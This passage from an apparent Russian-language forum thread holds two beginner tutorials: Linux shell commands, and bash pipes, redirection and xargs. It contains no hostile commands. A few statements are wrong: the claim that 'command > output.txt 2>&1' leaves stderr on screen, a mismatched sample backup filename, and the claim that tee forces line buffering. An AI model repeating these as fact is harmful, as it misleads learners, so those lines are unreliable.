    # Просмотр содержимого файла
    cat config.txt
    server=localhost
    port=5432
    database=mydb
    
    # Просмотр нескольких файлов (выведет один за другим)
    cat file1.txt file2.txt
    
    # Нумерация строк (флаг -n)
    cat -n script.sh
         1  #!/bin/bash
         2  echo "Hello"
         3  date
    
    # Показание символов конца строк (полезно для отладки)
    cat -A file.txt
    hello$
    world  $
    

    Как это работает: cat читает содержимое файла и выводит его в стандартный вывод (stdout).


    less и more

    Что это: просматривает файл по страницам (постраничный просмотр)

    Зачем нужно: смотреть большие файлы без перегрузки экрана

    # Постраничный просмотр большого файла
    less large_log_file.txt
    
    # После запуска less используйте:
    # Space или Page Down - следующая страница
    # b или Page Up - предыдущая страница
    # g - в начало файла
    # G - в конец файла
    # /search_term - поиск текста
    # q - выход
    

    Как это работает: less подгружает файл по частям, позволяя экономно использовать память и быстро навигировать по большим файлам.


    head и tail

    Что это: выводит начало (head) или конец (tail) файла

    Зачем нужно: посмотреть первые/последние строки логов или файлов

    # Вывод первых 10 строк (по умолчанию)
    head log.txt
    2026-01-09 10:15:23 INFO Starting application
    2026-01-09 10:15:25 INFO Database connected
    ...
    
    # Вывод первых 20 строк
    head -20 log.txt
    
    # Вывод последних 10 строк
    tail log.txt
    
    # Вывод последних 50 строк
    tail -50 log.txt
    
    # Отслеживание нового содержимого в реальном времени (очень полезно для логов)
    tail -f /var/log/syslog
    2026-01-09 10:35:12 kernel: [12345.123456] CPU0: Package temperature/speed normal
    2026-01-09 10:35:15 kernel: [12348.456789] systemd[1]: Started session...
    # Будет обновляться по мере появления новых строк
    

    Как это работает: head читает файл с начала и выводит N строк, tail ищет конец файла и выводит N последних строк. Флаг -f создаёт постоянный поток данных.


    4. Поиск и фильтрация

    find

    Что это: ищет файлы и папки по различным критериям

    Зачем нужно: быстро найти нужный файл в большой структуре папок

    # Поиск файла по имени в текущей директории и подпапках
    find . -name "document.txt"
    ./Documents/document.txt
    
    # Поиск всех файлов с расширением .log
    find . -name "*.log"
    
    # Поиск в конкретной директории
    find /var/log -name "*.log"
    
    # Поиск файлов больше определённого размера (здесь более 100 MB)
    find . -size +100M
    
    # Поиск файлов, изменённых в течение последних 7 дней
    find . -mtime -7
    
    # Поиск папок (тип -type d)
    find . -type d -name "node_modules"
    
    # Поиск файлов (тип -type f)
    find . -type f -name "*.js"
    
    # Комбинирование условий
    find /home/user/projects -type f -name "*.js" -size +1M
    
    # Выполнение команды для каждого найденного файла
    find . -name "*.txt" -exec rm {} \;
    # Здесь {} заменяется на имя файла, ; закрывает команду
    

    Как это работает: find рекурсивно проходит по директориям, проверяя каждый файл по заданным условиям.


    grep

    Что это: ищет текст внутри файлов по шаблону

    Зачем нужно: найти строку в файле или отфильтровать вывод других команд

    # Поиск в одном файле
    grep "error" log.txt
    2026-01-09 10:15:23 ERROR Connection failed
    2026-01-09 10:16:45 ERROR Timeout
    
    # Поиск во всех файлах папки (флаг -r рекурсивный)
    grep -r "TODO" /home/user/project
    project/app.js:// TODO: refactor this function
    project/utils.js:// TODO: add error handling
    
    # Поиск с игнорированием регистра (флаг -i)
    grep -i "ERROR" log.txt
    # найдёт error, Error, ERROR и т.д.
    
    # Показание номеров строк (флаг -n)
    grep -n "config" config.js
    5:const config = require('./config.json');
    12:const dbConfig = config.database;
    
    # Инверсия поиска - строки, НЕ содержащие шаблон (флаг -v)
    grep -v "^#" config.txt
    # выведет все строки, кроме комментариев (начинающихся с #)
    
    # Подсчёт количества совпадений (флаг -c)
    grep -c "error" log.txt
    47
    
    # Использование регулярных выражений (флаг -E)
    grep -E "^[0-9]{4}-[0-9]{2}-[0-9]{2}" log.txt
    # найдёт строки, начинающиеся с даты в формате YYYY-MM-DD
    
    # Комбинирование с другими командами через pipe (|)
    cat log.txt | grep "error" | wc -l
    # подсчитает количество строк с "error"
    

    Как это работает: grep читает файл строку за строкой и проверяет каждую строку по заданному шаблону.


    5. Работа с процессами и системой

    ps (Process Status)

    Что это: показывает запущенные процессы

    Зачем нужно: увидеть, какие программы работают в системе

    # Просмотр процессов текущего пользователя
    ps
      PID TTY      STAT   TIME COMMAND
     1234 pts/0    Ss     0:00 bash
     1456 pts/0    R+     0:00 ps
    
    # PID - идентификатор процесса
    # TTY - терминал, в котором запущен процесс
    # STAT - статус процесса (S = sleeping, R = running)
    # COMMAND - команда, запустившая процесс
    
    # Полный список всех процессов в системе
    ps aux
    # aux означает:
    # a - все процессы для всех пользователей
    # u - подробный формат
    # x - включить процессы без контролирующего терминала
    
    # Примеры вывода:
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.1  0.4 103008  6720 ?        Ss   10:00   0:02 /sbin/init
    user      1234  0.0  1.2 4523456 45320 ?       S    10:15   0:05 node app.js
    

    Как это работает: ps читает информацию о процессах из файловой системы Linux (/proc) и выводит её в форматированном виде.


    top

    Что это: интерактивный монитор процессов в реальном времени

    Зачем нужно: видеть, какие процессы потребляют больше всего ресурсов (CPU, памяти)

    # Запуск top
    top
    
    # Вывод будет выглядеть так:
    top - 10:36:45 up 5 days,  2:15,  1 user,  load average: 0.45, 0.52, 0.48
    Tasks: 156 total,   2 running, 154 sleeping,   0 stopped,   0 zombie
    %Cpu(s):  2.3 us,  1.1 sy,  0.0 ni, 96.2 id,  0.1 wa,  0.2 hi,  0.1 si
    MiB Mem :  16384.0 total,  12456.3 free,  2048.5 used,  1879.2 buff/cache
    MiB Swap:   4096.0 total,   4096.0 free,      0.0 used.  13985.6 avail Mem
    
      PID USER  PR  NI    VIRT    RES  SHR S  %CPU  %MEM     TIME+ COMMAND
     2345 user  20   0 1234567 456789 98765 S   8.3  2.8   2:15.47 firefox
     1890 root  20   0  345678 123456 67890 S   3.1  0.8   1:05.32 systemd-journal
    

    Ключевые навыки использования top:

    • q - выход из top
    • k - убить процесс (введите PID)
    • Shift+M - сортировка по памяти
    • Shift+P - сортировка по CPU (по умолчанию)

    kill

    Что это: останавливает (завершает) процесс по его PID

    Зачем нужно: закрыть зависший процесс или остановить ненужную программу

    # Нормальное завершение процесса (дает процессу время на очистку)
    kill 2345
    
    # Принудительное завершение (жёсткий kill)
    kill -9 2345
    # 9 - это сигнал SIGKILL, он не может быть проигнорирован
    
    # Другие полезные сигналы:
    kill -15 2345  # SIGTERM - вежливый запрос на завершение (по умолчанию)
    kill -19 2345  # SIGSTOP - приостановка процесса
    kill -18 2345  # SIGCONT - продолжение приостановленного процесса
    
    # Поиск PID и kill в одной команде
    pkill firefox  # убьёт все процессы с именем firefox
    

    Как это работает: kill отправляет сигнал операционной системы процессу. Процесс может обработать этот сигнал по-своему.


    6. Работа с правами доступа

    chmod (Change Mode)

    Что это: меняет права доступа к файлам и папкам

    Зачем нужно: контролировать, кто может читать, писать и выполнять файлы

    # Права доступа в Linux состоят из трёх групп:
    # rwx rwx rwx
    # |   |   └─ права для остальных (other)
    # |   └───── права для группы (group)
    # └───────── права для владельца (user/owner)
    
    # r (read) - чтение (4)
    # w (write) - запись (2)
    # x (execute) - выполнение (1)
    
    # Пример прав: drwxr-xr-x
    # d - это директория
    # rwx - владелец может читать, писать и выполнять
    # r-x - группа может читать и выполнять (но не писать)
    # r-x - остальные могут читать и выполнять (но не писать)
    
    # Численный способ (самый простой):
    chmod 755 script.sh
    # 7 = rwx для владельца (4+2+1)
    # 5 = r-x для группы (4+0+1)
    # 5 = r-x для остальных (4+0+1)
    
    # Символический способ:
    chmod u+x script.sh      # добавить execute для владельца
    chmod g+w file.txt       # добавить write для группы
    chmod o-r file.txt       # убрать read для остальных
    chmod a+r file.txt       # добавить read для всех (a = all)
    
    # Делает скрипт исполняемым
    chmod +x script.sh
    
    # Рекурсивное изменение прав для папки и содержимого
    chmod -R 755 /path/to/folder
    

    Как это работает: каждый файл в Linux содержит информацию о правах доступа. chmod изменяет эту информацию.


    chown (Change Owner)

    Что это: меняет владельца файла или папки

    Зачем нужно: изменить, кто является владельцем файла

    # Изменение владельца (требует прав администратора)
    sudo chown newuser file.txt
    
    # Изменение владельца и группы одновременно
    sudo chown newuser:newgroup file.txt
    
    # Рекурсивное изменение для папки и содержимого
    sudo chown -R newuser:newgroup /path/to/folder
    
    # Практический пример: файл создан от имени root, нужна смена на обычного пользователя
    sudo chown -R user:user /home/user/project
    

    7. Управление пакетами и установка программ

    apt / apt-get (Debian/Ubuntu)

    Что это: менеджер пакетов для Debian-based систем (Ubuntu, Debian и т.д.)

    Зачем нужно: устанавливать, обновлять и удалять программы

    # Обновление списка доступных пакетов
    sudo apt update
    
    # Установка пакета
    sudo apt install nodejs
    
    # Установка нескольких пакетов одновременно
    sudo apt install git curl wget
    
    # Обновление установленных пакетов до последней версии
    sudo apt upgrade
    
    # Удаление пакета
    sudo apt remove nodejs
    
    # Удаление пакета и его конфигурационных файлов
    sudo apt purge nodejs
    
    # Поиск пакета
    apt search postgres
    postgresql - object-relational SQL database
    postgresql-client - front-end programs for PostgreSQL
    ...
    
    # Показание информации о пакете
    apt show nodejs
    Package: nodejs
    Version: 18.12.1-1nodesource1
    Priority: optional
    Section: devel
    ...
    

    yum / dnf (RedHat/Fedora)

    Что это: менеджер пакетов для RedHat-based систем (Fedora, RHEL, CentOS)

    Зачем нужно: то же самое, что apt, но для другого семейства Linux

    # Обновление списка пакетов (обычно автоматически)
    sudo dnf check-update
    
    # Установка пакета
    sudo dnf install nodejs
    
    # Обновление пакетов
    sudo dnf upgrade
    
    # Удаление пакета
    sudo dnf remove nodejs
    
    # Поиск пакета
    sudo dnf search postgres
    

    8. Работа с текстом и обработка данных

    wc (Word Count)

    Что это: считает строки, слова и символы в файле

    Зачем нужно: получить статистику по размеру файла

    # Подсчёт строк, слов и символов
    wc document.txt
      42  156  1024 document.txt
    # 42 строки, 156 слов, 1024 символа
    
    # Только количество строк (флаг -l)
    wc -l log.txt
    1523 log.txt
    
    # Только количество слов (флаг -w)
    wc -w document.txt
    156 document.txt
    
    # Только количество символов (флаг -c)
    wc -c document.txt
    1024 document.txt
    
    # Для нескольких файлов и итога
    wc -l *.log
       100 file1.log
       250 file2.log
       180 file3.log
       530 total
    

    sort и uniq

    Что это: sort сортирует строки, uniq удаляет дубликаты

    Зачем нужно: организовать или очистить данные

    # Сортировка содержимого файла
    sort data.txt
    # выведет строки в алфавитном порядке
    
    # Числовая сортировка (флаг -n)
    sort -n numbers.txt
    # отсортирует как числа, а не строки
    # "2" будет перед "10", а не после
    
    # Сортировка в обратном порядке (флаг -r)
    sort -r data.txt
    
    # Удаление дубликатов (при условии, что файл отсортирован)
    sort data.txt | uniq
    
    # Показание только дубликатов (флаг -d)
    sort data.txt | uniq -d
    
    # Показание количества повторений (флаг -c)
    sort data.txt | uniq -c
          3 apple
          1 banana
          2 cherry
    

    cut

    Что это: извлекает колонки из текста

    Зачем нужно: получить определённые поля из структурированных данных

    # Извлечение 1-го и 3-го полей, разделённых табуляцией
    cut -f1,3 data.tsv
    
    # Извлечение первых 10 символов каждой строки (флаг -c)
    cut -c1-10 long_text.txt
    
    # Указание другого разделителя (флаг -d)
    cut -d',' -f1,2 data.csv
    # для CSV файлов, где разделитель - запятая
    

    9. Перенаправление и pipes

    Это очень важно для работы в Linux. Pipes позволяют связывать команды вместе.

    Pipe (|)

    Что это: передаёт вывод одной команды на вход другой

    Зачем нужно: объединять простые команды в мощные цепочки

    # Вывести только строки с ошибками из большого лог-файла
    cat huge_log.txt | grep "ERROR"
    
    # Отсортировать ошибки
    cat huge_log.txt | grep "ERROR" | sort
    
    # Удалить дубликаты из отсортированного списка
    cat huge_log.txt | grep "ERROR" | sort | uniq
    
    # Подсчитать количество ошибок
    cat huge_log.txt | grep "ERROR" | wc -l
    42
    
    # Более сложный пример: найти 5 самых частых ошибок
    cat huge_log.txt | grep "ERROR" | cut -d' ' -f4 | sort | uniq -c | sort -rn | head -5
          15 Connection
           8 Timeout
           7 Authentication
           6 Database
           4 Memory
    

    Перенаправление ввода-вывода (>, >>, <)

    Что это: перенаправляет вывод команды в файл или входные данные из файла

    Зачем нужно: сохранять результаты команд в файлы

    # Перенаправление вывода в файл (перезапишет файл)
    echo "Hello" > output.txt
    # содержимое output.txt: Hello
    
    # Добавление вывода в конец файла (не перезапишет)
    echo "World" >> output.txt
    # содержимое output.txt: Hello\nWorld
    
    # Перенаправление входа из файла
    cat < input.txt
    
    # Перенаправление ошибок в файл (2 это stderr)
    ls /nonexistent 2> errors.txt
    # нормальный вывод в консоль, ошибки в файл
    
    # Перенаправление и нормального вывода и ошибок в один файл
    ls /nonexistent > output.txt 2>&1
    
    # Отправка вывода в никуда (полезно для скрытия сообщений)
    rm /tmp/* 2>/dev/null
    

    Как это работает: операционная система имеет три стандартных потока: stdin (0), stdout (1) и stderr (2). Перенаправление меняет, куда идёт данный поток.


    10. Полезные утилиты

    echo

    Что это: выводит текст

    Зачем нужно: выводить сообщения, переменные, создавать содержимое файлов

    # Простой вывод
    echo "Hello, World!"
    Hello, World!
    
    # Вывод переменной
    echo $HOME
    /home/user
    
    # Вывод без переноса строки (флаг -n)
    echo -n "Enter name: "
    
    # Вывод с интерпретацией escape-последовательностей (флаг -e)
    echo -e "Line 1\nLine 2\tTabbed"
    Line 1
    Line 2    Tabbed
    
    # Создание файла с содержимым
    echo "server=localhost" > config.txt
    

    man (Manual)

    Что это: показывает справку (man-страницы) по командам

    Зачем нужно: узнать подробности о команде, её флаги и примеры

    # Справка по команде
    man ls
    # откроется справка, используйте Space для навигации, q для выхода
    
    # Поиск команды по ключевому слову
    man -k "copy"
    # выведет все команды, связанные со словом "copy"
    
    # Примеры:
    man grep
    man chmod
    man find
    

    which и whereis

    Что это: найти, где находится исполняемый файл команды

    Зачем нужно: узнать полный путь к программе

    # Полный путь к исполняемому файлу
    which python3
    /usr/bin/python3
    
    # Более подробная информация (источник, man-страница, и т.д.)
    whereis python3
    python3: /usr/bin/python3 /usr/share/man/man1/python3.1.gz
    

    date

    Что это: выводит текущую дату и время

    Зачем нужно: узнать текущее время или использовать в скриптах

    # Текущая дата и время
    date
    Fri Jan  9 10:36:45 MSK 2026
    
    # Пользовательский формат
    date "+%Y-%m-%d %H:%M:%S"
    2026-01-09 10:36:45
    
    # Использование в скриптах для создания файлов с датой
    backup_file="backup_$(date +%Y%m%d_%H%M%S).tar.gz"
    echo $backup_file
    backup_2026010910364501_363645.tar.gz
    

    tar

    Что это: упаковывает и распаковывает архивы

    Зачем нужно: создавать резервные копии, передавать группы файлов

    # Создание архива (флаг c, v - вывод процесса, f - файл)
    tar -cvf archive.tar folder/
    folder/
    folder/file1.txt
    folder/file2.txt
    
    # Создание сжатого архива (.tar.gz через флаг z)
    tar -cvzf archive.tar.gz folder/
    
    # Распаковка архива
    tar -xvf archive.tar
    
    # Распаковка .tar.gz
    tar -xvzf archive.tar.gz
    
    # Список содержимого архива (без распаковки)
    tar -tvf archive.tar
    drwxr-xr-x user/user          0 2026-01-09 10:35 folder/
    -rw-r--r-- user/user       1024 2026-01-09 10:35 folder/file1.txt
    

    du (Disk Usage)

    Что это: показывает размер файлов и папок

    Зачем нужно: узнать, сколько места занимает папка

    # Размер текущей папки
    du .
    
    # Размер в понятном формате (MB, GB)
    du -h
    256K    ./config
    1.2M    ./logs
    45M     ./data
    1.3G    ./cache
    
    # Итоговый размер только
    du -sh .
    48G     .
    
    # Размер конкретной папки
    du -sh /home/user/Downloads
    3.5G    /home/user/Downloads
    
    # 10 самых больших папок
    du -h . | sort -rh | head -10
    

    df (Disk Free)

    Что это: показывает свободное место на диске

    Зачем нужно: проверить, хватает ли места на диске

    # Показание свободного места
    df -h
    Filesystem      Size  Used Avail Use% Mounted on
    /dev/sda1       100G   65G   35G  65% /
    tmpfs           7.8G     0  7.8G   0% /dev/shm
    /dev/sda2       500G  420G   80G  84% /home
    
    # По файловой системе (флаг -i показывает inodes)
    df -i
    

    11. Работа с переменными окружения

    export

    Что это: устанавливает переменную окружения

    Зачем нужно: передать переменную всем дочерним процессам (программам)

    # Установка переменной для текущей сессии
    export PATH="/usr/local/bin:$PATH"
    
    # Использование переменной
    echo $PATH
    /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
    
    # Частая переменная - HOME (домашняя папка)
    echo $HOME
    /home/user
    
    # USER - текущий пользователь
    echo $USER
    user
    
    # Переменная для программ (например, NODE_ENV для Node.js)
    export NODE_ENV=production
    node app.js  # приложение получит переменную
    

    12. Комбинирование команд

    && (И) и || (ИЛИ)

    Что это: условное выполнение нескольких команд

    Зачем нужно: выполнить команды в определённом порядке или только при успехе

    # Выполнить вторую команду, если первая успешна (&&)
    cd project && npm install
    # cd выполнится, и если успешно, то выполнится npm install
    
    # Выполнить вторую команду, если первая не успешна (||)
    cd /nonexistent || echo "Directory not found"
    # cd не выполнится, но выведет "Directory not found"
    
    # Комбинирование
    mkdir backup && cp -r project backup || echo "Backup failed"
    

    Практические примеры использования

    Пример 1: Поиск и удаление больших логов

    # Найти все файлы .log больше 100 MB и удалить
    find /var/log -name "*.log" -size +100M -exec rm {} \;
    
    # Или с подтверждением перед удалением
    find /var/log -name "*.log" -size +100M -exec rm -i {} \;
    

    Пример 2: Резервная копия с датой

    # Создать архив с датой в названии
    tar -czf "backup_$(date +%Y%m%d_%H%M%S).tar.gz" important_folder/
    
    # Вывод:
    # backup_20260109_103645.tar.gz
    

    Пример 3: Мониторинг нового содержимого в логе

    # Смотреть новые строки в логе в реальном времени
    tail -f /var/log/syslog | grep "ERROR"
    
    # Альтернатива с цветным выводом (если система поддерживает)
    tail -f /var/log/syslog | grep --color=auto "ERROR"
    

    Пример 4: Подсчёт количества файлов по типам

    # Сколько JavaScript файлов в проекте
    find . -name "*.js" | wc -l
    
    # Какие расширения файлов есть в проекте
    find . -type f | sed 's/.*\.//' | sort | uniq -c | sort -rn
          234 js
           89 json
           45 md
           12 html
    

    Пример 5: Поиск и удаление дублирующихся файлов по имени

    # Найти все файлы, которые встречаются в папке несколько раз
    find . -type f -exec basename {} \; | sort | uniq -d
    
    # Найти конкретный дублирующийся файл
    find . -name "config.js" -ls
    # Покажет ВСЕ файлы с именем config.js и их размер
    

    Заключение

    Эти команды покрывают 80-90% повседневной работы в Linux/Unix. Ключ к мастерству:

    1. Понимайте, что делает каждая команда - не просто копируйте команды, понимайте логику
    2. Используйте man страницы - man command всегда даст вам полную информацию
    3. Экспериментируйте - практика - лучший учитель
    4. Комбинируйте команды - мощь Unix в ability объединять простые инструменты в сложные цепочки (pipes)
    5. Будьте осторожны с rm - Linux не имеет корзины!

    Удачи в изучении Linux!


    0 0 1 Ответить
  • MugiwaraM
    Mugiwara
    Bash Пайпы: Полный Гайд и Шпаргалка

    Представьте, что вам нужно найти количество файлов в директории. Без пайпов пришлось бы делать так:

    # Сначала список файлов сохраняем в файл
    ls -l > /tmp/files.txt
    
    # Потом считаем строки
    wc -l /tmp/files.txt
    
    # Потом удаляем временный файл
    rm /tmp/files.txt
    

    Три команды, временный файл, неудобно.

    Решение с пайпами

    С пайпом это становится одной строкой:

    ls -l | wc -l
    

    Почему пайпы полезны:

    1. Эффективность — не нужны временные файлы на диске
    2. Скорость — данные передаются через оперативную память (быстрее, чем I/O на диск)
    3. Читаемость — понимаете логику цепочки команд с первого взгляда
    4. Масштабируемость — можете соединять сколько угодно команд в цепочку
    5. Unix философия — “Делай одно, делай хорошо” — пайпы объединяют маленькие команды в мощные решения

    2. Основные концепции: потоки данных

    В Linux каждый процесс имеет три стандартных потока:

    Поток Номер FD Описание По умолчанию
    stdin 0 Стандартный ввод (входит в процесс) Клавиатура
    stdout 1 Стандартный вывод (выходит из процесса) Экран
    stderr 2 Стандартная ошибка (сообщения об ошибках) Экран

    Визуально:

    ┌─────────────────┐
    │     Процесс     │
    │                 │
    │  ┌──────────┐   │
    │  │ команда  │   │
    │  └──────────┘   │
    │    ↑  ↓  ↓      │
    │    │  │  │      │
    │    0  1  2      │ (file descriptors)
    │    │  │  │      │
    └────┼──┼──┼──────┘
         │  │  └─ stderr → экран
         │  └──── stdout → экран
         └─────── stdin ← клавиатура
    

    3. Как работают пайпы?

    Механизм пайпа

    Пайп (|) соединяет stdout одной команды со stdin другой:

    команда1 | команда2
        ↓
    stdout(команда1) → stdin(команда2)
    

    На системном уровне:

    1. Shell видит символ | и создаёт канал (pipe) в памяти
    2. Stdout первого процесса подключается к этому каналу
    3. Stdin второго процесса подключается к этому каналу
    4. Обе команды запускаются одновременно (параллельно!)
    5. Буферизация позволяет команде 2 работать, пока команда 1 пишет

    Важно: Команды выполняются параллельно, но синхронизированы потоком данных.

    Пример в реальном времени

    # Медленный процесс производит данные
    (while true; do date; sleep 1; done) | \
    # Быстрый процесс их обрабатывает
    (while read line; do echo ">>> $line"; done)
    

    Обе команды работают одновременно!


    4. Редирекция потоков

    Базовая редирекция stdout

    # Перенаправить вывод в файл (перезаписать)
    command > file.txt
    
    # Добавить в конец файла
    command >> file.txt
    
    # Отправить в /dev/null (удалить вывод)
    command > /dev/null
    

    Редирекция stderr

    # Отправить ошибки в файл
    command 2> errors.txt
    
    # Отправить ошибки в файл (классическая форма)
    command 2> /tmp/errors.log
    
    # Объединить stderr со stdout
    command 2>&1
    
    # Отправить оба потока в файл (современный синтаксис)
    command &> output.txt
    
    # Скрыть ошибки
    command 2> /dev/null
    

    Комбинированная редирекция

    # stdout → файл, stderr → экран
    command > output.txt 2>&1
    
    # stdout → одна команда, stderr → другая команда
    command 1> >(process_stdout) 2> >(process_stderr)
    
    # Отправить оба потока в разные файлы
    command > stdout.txt 2> stderr.txt
    
    # stdout в файл, stderr к stdout, затем в пайп
    command 2>&1 | tee output.txt
    

    Важно про порядок! Обработка идёт слева направо:

    # ПРАВИЛЬНО: сначала объединяем потоки, потом пайпим
    command 2>&1 | grep error
    
    # НЕПРАВИЛЬНО: пайпим только stdout
    command | grep error 2>&1  # ошибки не попадут в пайп!
    

    Редирекция stdin

    # Передать файл как стандартный ввод
    command < input.txt
    
    # Передать строку как стандартный ввод
    cat <<EOF | command
    множественные
    строки
    текста
    EOF
    

    5. Практические примеры

    Пример 1: Поиск и подсчёт файлов

    # Найти все .log файлы, созданные за последние 7 дней, и посчитать их
    find . -name "*.log" -mtime -7 | wc -l
    
    # Поток данных:
    # find → (список файлов в stdin) → wc
    

    Пример 2: Фильтрация логов

    # Найти ошибки в логе, исключить DEBUG, показать последние 10
    cat app.log | \
      grep "ERROR" | \
      grep -v "DEBUG" | \
      tail -10
    
    # Или более компактно:
    grep "ERROR" app.log | grep -v "DEBUG" | tail -10
    

    Пример 3: Обработка данных с преобразованием

    # Получить список портов, которые слушают, отсортировать и посчитать уникальные
    netstat -tlnp | \
      awk '{print $4}' | \
      cut -d: -f2 | \
      sort | \
      uniq -c | \
      sort -rn
    

    Разбор:

    • netstat -tlnp — показать все слушающие TCP порты
    • awk '{print $4}' — извлечь 4-е поле (адрес:порт)
    • cut -d: -f2 — вырезать только номер порта
    • sort — отсортировать
    • uniq -c — посчитать одинаковые
    • sort -rn — отсортировать по убыванию

    Пример 4: Обработка JSON

    # Получить все email'ы из JSON API и сохранить в файл
    curl -s https://api.example.com/users | \
      jq '.users[].email' | \
      tr -d '"' | \
      sort | \
      uniq > emails.txt
    

    Пример 5: Массовая переименование файлов

    # Переименовать все .jpg в .png расширение
    ls *.jpg | \
      awk '{print "mv " $1 " " substr($1, 1, length($1)-3) "png"}' | \
      bash
    
    # Или более безопасно (echo для проверки):
    ls *.jpg | \
      awk '{print "mv " $1 " " substr($1, 1, length($1)-3) "png"}' | \
      head -5  # Проверить на первых 5
    

    Пример 6: Совмещение нескольких фильтров

    # Найти топ-10 самых тяжёлых файлов
    find . -type f -exec ls -lh {} \; | \
      awk '{print $5, $NF}' | \
      sort -h -r | \
      head -10
    
    # Поток:
    # find → ls → awk (фильтруем) → sort → head
    

    Пример 7: Работа с переменными окружения

    # Получить список всех установленных пакетов, содержащих "mysql"
    apt list --installed 2>/dev/null | \
      grep "mysql" | \
      awk -F'/' '{print $1}' | \
      tee installed-mysql.txt
    
    # tee — выводит в консоль И в файл одновременно
    

    Пример 8: Пайпы с функциями в bash

    # Определить функцию для обработки
    process_line() {
      echo "Обработан: $1"
    }
    
    # Использовать с пайпом
    echo -e "line1\nline2\nline3" | \
      while read line; do
        process_line "$line"
      done
    

    6. Пайпы vs xargs

    Разница: stdout vs аргументы

    Пайп (|) передаёт данные в stdin:

    echo -e "file1.txt\nfile2.txt" | cat  # cat получает текст в stdin
    # Вывод:
    # file1.txt
    # file2.txt
    

    xargs передаёт данные как аргументы команде:

    echo -e "file1.txt\nfile2.txt" | xargs cat  # cat получит аргументы
    # Аналогично: cat file1.txt file2.txt
    

    Когда использовать xargs?

    xargs нужен когда команда НЕ читает stdin:

    # ❌ НЕПРАВИЛЬНО: rm не читает stdin
    echo "file1.txt" | rm
    
    # ✅ ПРАВИЛЬНО: xargs преобразует stdin в аргументы
    echo "file1.txt" | xargs rm
    
    # Аналогично:
    echo "file1.txt" | xargs -I {} rm {}
    

    Примеры xargs

    # Удалить все временные файлы
    find . -name "*.tmp" | xargs rm
    
    # Скопировать множество файлов
    ls *.jpg | xargs -I {} cp {} /backup/
    
    # Запустить в параллель (-P 4 = 4 процесса одновременно)
    cat file_list.txt | xargs -P 4 -I {} bash -c 'process_file "$1"' _ {}
    
    # Обработать с пользовательским разделителем
    find . -name "*.txt" -print0 | xargs -0 wc -l
    # -print0 и -0: для файлов с пробелами в имени
    

    Сравнительная таблица

    Операция Пайп xargs
    Передача данных stdin аргументы
    Примечание “Команда читает с клавиатуры” “Команда берёт от shell”
    cat ✓ ✓ (нужна)
    grep ✓ ✓ (нужна)
    rm ✗ ✓
    cp ✗ ✓
    echo ✓ ✓
    Параллелизм ✗ ✓ (-P флаг)

    7. Питфоллы и решения

    Проблема 1: Буферизация (данные не появляются)

    Проблема: При пайпировании медленного процесса вывод задерживается.

    # Команда запущена, но вывода не видно 10 секунд
    slow_command | grep pattern
    

    Причина: Многие программы используют full buffering при пайпировании (вместо line buffering при выводе на экран).

    Решение 1: stdbuf

    slow_command | stdbuf -oL grep pattern
    # -oL = line buffering для stdout
    

    Решение 2: unbuffer

    slow_command | unbuffer grep pattern
    

    Решение 3: script/expect

    slow_command 2>&1 | tee output.txt | grep pattern
    # tee заставляет команду работать в line buffering режиме
    

    Проблема 2: Обработка ошибок в пайпах

    Проблема: При ошибке в середине пайпа не видно, где именно.

    cmd1 | cmd2 | cmd3
    # Если cmd2 упал, cmd3 может не выполниться корректно
    

    Решение:

    # Проверить код возврата каждой команды
    cmd1 | cmd2 | cmd3
    
    # BASH покажет код возврата последней команды:
    echo $?  # код возврата cmd3, НЕ cmd1 и cmd2!
    
    # Правильная проверка:
    set -o pipefail  # Если хоть одна упала, весь пайп упал
    cmd1 | cmd2 | cmd3
    echo $?  # Покажет ошибку если хоть где-то была ошибка
    
    # Или в отдельной команде:
    if cmd1 | cmd2 | cmd3; then
      echo "Успешно"
    else
      echo "Ошибка в пайпе"
    fi
    

    Проблема 3: Потери данных с пробелами/спецсимволами

    Проблема:

    # Файл с пробелом в имени
    echo "my file.txt" | xargs rm
    # ❌ Попытается удалить "my" и "file.txt" отдельно
    

    Решение:

    echo "my file.txt" | xargs -I {} rm "{}"
    # Или с print0:
    find . -name "*.txt" -print0 | xargs -0 rm
    

    Проблема 4: Слишком много аргументов

    Проблема:

    ls *.txt | xargs grep "pattern"
    # При 10000+ файлов: Argument list too long
    

    Решение:

    # Ограничить количество аргументов за раз
    ls *.txt | xargs -n 100 grep "pattern"
    
    # Или более правильно:
    find . -name "*.txt" -print0 | xargs -0 -n 100 grep "pattern"
    

    Проблема 5: Потеря переменных окружения

    Проблема:

    MY_VAR="hello" && echo "test" | while read line; do echo $MY_VAR; done
    # ❌ MY_VAR пуста! while запущен в подоболочке
    

    Решение:

    MY_VAR="hello"
    echo "test" | (
      export MY_VAR
      while read line; do echo $MY_VAR; done
    )
    # ✓ Работает
    

    Проблема 6: Данные из пайпа недоступны после цикла

    Проблема:

    echo -e "1\n2\n3" | while read num; do ((sum += num)); done
    echo "Sum: $sum"  # ❌ sum пуст!
    

    Причина: while запущен в подоболочке, переменная не передаётся.

    Решение:

    sum=0
    while read num; do ((sum += num)); done < <(echo -e "1\n2\n3")
    echo "Sum: $sum"  # ✓ 6
    

    8. Шпаргалка

    Базовый синтаксис

    # Пайп
    cmd1 | cmd2
    
    # Цепочка пайпов
    cmd1 | cmd2 | cmd3 | cmd4
    
    # Редирекция stdout
    cmd > file
    cmd >> file
    cmd > /dev/null
    
    # Редирекция stderr
    cmd 2> file
    cmd 2>> file
    cmd 2> /dev/null
    
    # Объединить потоки
    cmd 2>&1
    cmd &> file
    
    # Отдельные потоки
    cmd 1> out.txt 2> err.txt
    
    # stdin из файла
    cmd < file
    
    # stdin из строки
    cmd <<< "string"
    
    # stdin из блока
    cmd <<EOF
    line1
    line2
    EOF
    

    Часто используемые инструменты

    # grep — фильтровать текст
    cmd | grep "pattern"
    cmd | grep -v "exclude"  # инверсия
    cmd | grep -i "case-insensitive"
    
    # awk — парсинг и обработка
    cmd | awk '{print $2}'      # 2-е поле
    cmd | awk -F: '{print $1}'  # с разделителем :
    cmd | awk 'NR>2'            # кроме первых 2 строк
    
    # sed — замена текста
    cmd | sed 's/old/new/'       # заменить первое
    cmd | sed 's/old/new/g'      # заменить все
    
    # sort, uniq
    cmd | sort                   # отсортировать
    cmd | sort -u               # уникальные
    cmd | sort | uniq -c        # подсчитать
    
    # cut — вырезать колонки
    cmd | cut -d: -f1           # разделитель :, 1-е поле
    
    # tr — трансформация символов
    cmd | tr 'a-z' 'A-Z'        # в верхний регистр
    cmd | tr -d '"'             # удалить кавычки
    
    # head, tail
    cmd | head -10              # первые 10 строк
